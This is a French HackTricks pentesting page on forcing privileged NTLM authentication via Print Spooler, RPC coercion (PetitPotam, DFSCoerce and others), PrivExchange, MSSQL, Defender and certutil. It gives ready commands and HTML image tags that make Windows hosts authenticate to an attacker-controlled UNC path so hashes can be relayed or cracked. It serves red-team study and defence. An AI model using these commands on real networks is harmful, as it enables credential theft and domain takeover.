Forcer l’authentification NTLM privilégiée

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

SharpSystemTriggers

SharpSystemTriggers est une collection de triggers d’authentification à distance codés en C# utilisant le compilateur MIDL pour éviter les dépendances tierces.

Spooler Service Abuse

Si le Print Spooler service est activé, vous pouvez utiliser des identifiants AD déjà connus pour demander au serveur d’impression du Domain Controller une mise à jour sur les nouvelles tâches d’impression et lui indiquer d’envoyer la notification à un système.
Remarque : lorsque l’imprimante envoie la notification à un système arbitraire, elle doit s’authentifier auprès de ce système. Par conséquent, un attaquant peut faire en sorte que le Print Spooler service s’authentifie auprès d’un système arbitraire, et le service utilisera le compte ordinateur pour cette authentification.

Trouver des serveurs Windows sur le domaine

Avec PowerShell, obtenez une liste de machines Windows. Les serveurs sont généralement prioritaires, concentrons-nous donc sur eux :

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Détection des services Spooler à l’écoute

En utilisant une version légèrement modifiée de @mysmartlogin (Vincent Le Toux) SpoolerScanner, vérifiez si le Spooler Service est à l’écoute :

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Vous pouvez également utiliser rpcdump.py sur Linux et rechercher le MS-RPRN Protocol

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Demander au service de s’authentifier auprès d’un hôte arbitraire

Vous pouvez compiler SpoolSample à partir d’ici.

SpoolSample.exe <TARGET> <RESPONDERIP>

ou utilisez 3xocyte’s dementor.py ou printerbug.py si vous êtes sous Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinaison avec Unconstrained Delegation

Si un attaquant a déjà compromis un ordinateur configuré avec Unconstrained Delegation, il pourrait forcer l’imprimante à s’authentifier contre cet ordinateur. En raison de l’unconstrained delegation, le TGT du compte ordinateur de l’imprimante sera sauvegardé dans la mémoire de l’ordinateur avec unconstrained delegation. Puisque l’attaquant a déjà compromis cet hôte, il pourra récupérer ce ticket et l’abuser (Pass the Ticket).

RPC : authentification forcée

Coercer

Matrice de coercition de chemins UNC RPC (interfaces/opnums qui déclenchent une authentification sortante)

  • MS-RPRN (Print System Remote Protocol)
  • Pipe: \PIPE\spoolss
  • IF UUID: 12345678-1234-abcd-ef00-0123456789ab
  • Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
  • Tools: PrinterBug / PrintNightmare-family
  • MS-PAR (Print System Asynchronous Remote)
  • Pipe: \PIPE\spoolss
  • IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
  • Opnum: 0 RpcAsyncOpenPrinter
  • MS-EFSR (Encrypting File System Remote Protocol)
  • Pipes: \PIPE\efsrpc (also via \PIPE\lsarpc, \PIPE\samr, \PIPE\lsass, \PIPE\netlogon)
  • IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
  • Opnums commonly abused: 0, 4, 5, 6, 7, 12, 13, 15, 16
  • Tool: PetitPotam
  • MS-DFSNM (DFS Namespace Management)
  • Pipe: \PIPE\netdfs
  • IF UUID: 4fc742e0-4a10-11cf-8273-00aa004ae673
  • Opnums: 12 NetrDfsAddStdRoot; 13 NetrDfsRemoveStdRoot
  • Tool: DFSCoerce
  • MS-FSRVP (File Server Remote VSS)
  • Pipe: \PIPE\FssagentRpc
  • IF UUID: a8e0653c-2744-4389-a61d-7373df8b2292
  • Opnums: 8 IsPathSupported; 9 IsPathShadowCopied
  • Tool: ShadowCoerce
  • MS-EVEN (EventLog Remoting)
  • Pipe: \PIPE\even
  • IF UUID: 82273fdc-e32a-18c3-3f78-827929dc23ea
  • Opnum: 9 ElfrOpenBELW
  • Tool: CheeseOunce

Note: Ces méthodes acceptent des paramètres pouvant contenir un chemin UNC (par ex., \\attacker\share). Lorsqu’ils sont traités, Windows s’authentifiera (contexte machine/utilisateur) auprès de ce UNC, permettant la capture ou le relais NetNTLM.

MS-EVEN : coercition ElfrOpenBELW (opnum 9)

  • Interface: MS-EVEN sur \PIPE\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
  • Call signature: ElfrOpenBELW(UNCServerName, BackupFileName=“\\attacker\share\backup.evt”, MajorVersion=1, MinorVersion=1, LogHandle)
  • Effect: la cible tente d’ouvrir le chemin de sauvegarde fourni et s’authentifie auprès du UNC contrôlé par l’attaquant.
  • Practical use: forcer les actifs Tier 0 (DC/RODC/Citrix/etc.) à émettre NetNTLM, puis relayer vers des endpoints AD CS (scénarios ESC8/ESC11) ou d’autres services privilégiés.

PrivExchange

L’attaque PrivExchange est due à une faille trouvée dans la fonctionnalité PushSubscription d’Exchange Server. Cette fonctionnalité permet au serveur Exchange d’être forcé par n’importe quel utilisateur de domaine disposant d’une boîte aux lettres à s’authentifier auprès de n’importe quel hôte fourni par le client via HTTP.

Par défaut, le service Exchange s’exécute en tant que SYSTEM et dispose de privilèges excessifs (plus précisément, il possède les privilèges WriteDacl sur le domaine avant le Cumulative Update de 2019). Cette faille peut être exploitée pour permettre le relais d’informations vers LDAP et, ensuite, extraire la base de données NTDS du domaine. Dans les cas où le relay vers LDAP n’est pas possible, cette faille peut toujours être utilisée pour relayer et s’authentifier auprès d’autres hôtes du domaine. L’exploitation réussie de cette attaque accorde un accès immédiat au Domain Admin à partir de n’importe quel compte utilisateur de domaine authentifié.

À l’intérieur de Windows

Si vous êtes déjà sur la machine Windows, vous pouvez forcer Windows à se connecter à un serveur en utilisant des comptes privilégiés avec:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Ou utilisez cette autre technique : https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Il est possible d’utiliser certutil.exe lolbin (binaire signé par Microsoft) pour forcer l’authentification NTLM :

certutil.exe -syncwithWU  \\127.0.0.1\share

HTML injection

Par e-mail

Si vous connaissez l’adresse e-mail de l’utilisateur qui se connecte à une machine que vous voulez compromettre, vous pouvez simplement lui envoyer un e-mail contenant une image 1x1 comme

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

et lorsqu’il l’ouvrira, il tentera de s’authentifier.

MitM

Si vous pouvez effectuer une attaque MitM contre un ordinateur et injecter du HTML dans une page qu’il visualisera, vous pouvez essayer d’injecter une image comme la suivante dans la page :

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Autres façons de forcer et phish NTLM authentication

Places to steal NTLM creds

Cracking NTLMv1

Si vous pouvez capturer NTLMv1 challenges read here how to crack them.
Souvenez-vous que pour craquer NTLMv1 vous devez définir Responder challenge sur “1122334455667788”

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks